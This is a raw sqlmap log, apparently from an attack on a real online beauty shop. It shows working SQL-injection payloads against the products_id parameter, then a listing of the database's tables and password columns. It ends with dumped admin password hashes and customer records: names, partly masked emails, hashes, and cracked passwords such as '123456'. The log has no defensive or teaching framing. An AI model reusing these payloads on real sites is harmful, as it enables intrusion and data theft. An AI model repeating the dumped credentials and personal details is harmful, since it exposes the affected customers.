--- Parameter: products_id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: products_id=5 AND 9022=9022&language=tc&osCsid=8a474fc2318cbdd1bf82cfc28e45f8b6 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: products_id=5 AND (SELECT 3196 FROM(SELECT COUNT(*),CONCAT(0x7162766a71,(SELECT (ELT(3196=3196,1))),0x717a626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&language=tc&osCsid=8a474fc2318cbdd1bf82cfc28e45f8b6 --- web application technology: Apache 2.2.13, PHP 5.2.14 back-end DBMS: MySQL 5.0 current user: 'foliabeauty@localhost' current user is DBA: False database management system users [1]: [*] 'foliabeauty'@'localhost' Database: foliabeauty +---------------------------------------+---------+ | Table | Entries | +---------------------------------------+---------+ | orders_total | 1978 | | orders_products | 1386 | | banners_history | 1359 | | orders_status_history | 1264 | | customers | 721 | | customers_info | 721 | | orders | 645 | | customers_basket | 600 | | address_book | 516 | | configuration | 394 | | test | 311 | | countries | 239 | | products_description | 204 | | zones | 181 | | products | 102 | | products_to_categories | 102 | | categories_description | 70 | | latest_news_description | 65 | | sessions | 61 | | admin_files | 55 | | categories | 33 | | latest_news | 21 | | orders_status | 18 | | configuration_group | 15 | | specials | 13 | | index_banner_desc | 12 | | sec_directory_whitelist | 12 | | action_recorder | 11 | | manufacturers_info | 10 | | customers_to_discount_codes | 8 | | skin_info | 8 | | index_banner | 6 | | address_format | 5 | | discount_codes | 5 | | manufacturers | 5 | | whos_online | 5 | | skin | 4 | | admin | 2 | | admin_groups | 2 | | currencies | 2 | | languages | 2 | | newsletters | 2 | | usd_rate | 2 | | administrators | 1 | | alipay | 1 | | banners | 1 | | counter | 1 | | geo_zones | 1 | | tax_class | 1 | | tax_rates | 1 | | zones_to_geo_zones | 1 | +---------------------------------------+---------+ Database: information_schema +---------------------------------------+---------+ | Table | Entries | +---------------------------------------+---------+ | COLUMNS | 781 | | GLOBAL_VARIABLES | 271 | | SESSION_VARIABLES | 271 | | GLOBAL_STATUS | 268 | | SESSION_STATUS | 268 | | STATISTICS | 114 | | PARTITIONS | 95 | | TABLES | 95 | | COLLATION_CHARACTER_SET_APPLICABILITY | 87 | | COLLATIONS | 86 | | KEY_COLUMN_USAGE | 75 | | TABLE_CONSTRAINTS | 64 | | CHARACTER_SETS | 26 | | SCHEMA_PRIVILEGES | 9 | | PLUGINS | 6 | | ENGINES | 5 | | SCHEMATA | 3 | | PROCESSLIST | 1 | | USER_PRIVILEGES | 1 | +---------------------------------------+---------+ columns LIKE 'pass' were found in the following databases: Database: foliabeauty Table: admin [1 column] +----------------+--------------+ | Column | Type | +----------------+--------------+ | admin_password | varchar(255) | +----------------+--------------+ Database: foliabeauty Table: administrators [1 column] +---------------+--------------+ | Column | Type | +---------------+--------------+ | user_password | varchar(255) | +---------------+--------------+ Database: foliabeauty Table: customers [1 column] +--------------------+-------------+ | Column | Type | +--------------------+-------------+ | customers_password | varchar(60) | +--------------------+-------------+ Database: foliabeauty Table: admin [2 entries] +-------------------------------------+ | admin_password | +-------------------------------------+ | 351683ea4e19efe34874b501fdbf9792:9b | | 85c9b16a1223fd97976dc7c9dfccb1f2:c2 | +-------------------------------------+ Database: foliabeauty Table: administrators [1 entry] +--------------------------------------------+ | user_password | +--------------------------------------------+ | $P$DS15ucxhbX9BGK0ztZUjg4zmZJm6wt. (admin) | +--------------------------------------------+
--- Parameter: products_id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: products_id=5 AND 9022=9022&language=tc&osCsid=8a474fc2318cbdd1bf82cfc28e45f8b6 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: products_id=5 AND (SELECT 3196 FROM(SELECT COUNT(*),CONCAT(0x7162766a71,(SELECT (ELT(3196=3196,1))),0x717a626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&language=tc&osCsid=8a474fc2318cbdd1bf82cfc28e45f8b6 --- web application technology: Apache 2.2.13, PHP 5.2.14 back-end DBMS: MySQL 5.0 Database: foliabeauty Table: customers [13 columns] +------------------------------+--------------+ | Column | Type | +------------------------------+--------------+ | customers_default_address_id | int(11) | | customers_dob | datetime | | customers_email_address | varchar(255) | | customers_fax | varchar(255) | | customers_firstname | varchar(255) | | customers_gender | char(1) | | customers_id | int(11) | | customers_lastname | varchar(255) | | customers_newsletter | char(1) | | customers_password | varchar(60) | | customers_telephone | varchar(255) | | vip_date | varchar(64) | | vip_status | int(11) | +------------------------------+--------------+ sqlmap resumed the following injection point(s) from stored session: --- Parameter: products_id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: products_id=5 AND 9022=9022&language=tc&osCsid=8a474fc2318cbdd1bf82cfc28e45f8b6 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: products_id=5 AND (SELECT 3196 FROM(SELECT COUNT(*),CONCAT(0x7162766a71,(SELECT (ELT(3196=3196,1))),0x717a626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&language=tc&osCsid=8a474fc2318cbdd1bf82cfc28e45f8b6 --- web application technology: Apache 2.2.13, PHP 5.2.14 back-end DBMS: MySQL 5.0 Database: foliabeauty +-----------+---------+ | Table | Entries | +-----------+---------+ | customers | 721 | +-----------+---------+ sqlmap resumed the following injection point(s) from stored session: --- Parameter: products_id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: products_id=5 AND 9022=9022&language=tc&osCsid=8a474fc2318cbdd1bf82cfc28e45f8b6 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: products_id=5 AND (SELECT 3196 FROM(SELECT COUNT(*),CONCAT(0x7162766a71,(SELECT (ELT(3196=3196,1))),0x717a626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&language=tc&osCsid=8a474fc2318cbdd1bf82cfc28e45f8b6 --- web application technology: Apache 2.2.13, PHP 5.2.14 back-end DBMS: MySQL 5.0 Database: foliabeauty Table: customers [5 entries] +--------------+---------------------------------------------+---------------------+---------------------+--------------------+---------------------------+ | customers_id | customers_password | customers_telephone | customers_firstname | customers_lastname | customers_email_address | +--------------+---------------------------------------------+---------------------+---------------------+--------------------+---------------------------+ | 4 | $P$DRZxlWWf9jQfdfv0zD0Hk8wPxeazR2. | 7777 | admin | admin | admin@**.**.**.** | | 14 | $P$DHoUp4x/iO8/R4FQi5MdpFjJZc15rq1 | <blank> | Maggie | Gao | maggie@**.**.**.** | | 17 | $P$DRg1XzBD8k9IqnauomwMBUpbxIstZf. (888888) | <blank> | Joe | Man | joe.man@**.**.**.** | | 44 | $P$DpCd3bId/m0HAbZJokMy.xTuLyHEg6. (123456) | <blank> | Cherry | lam | cherry.lam@**.**.**.** | | 45 | $P$DkhnMmB7Ho2WtKwGobe1gV8zqFb/p7. | <blank> | Echo | Yao | simenfa_yao@**.**.**.** | +--------------+---------------------------------------------+---------------------+---------------------+--------------------+---------------------------+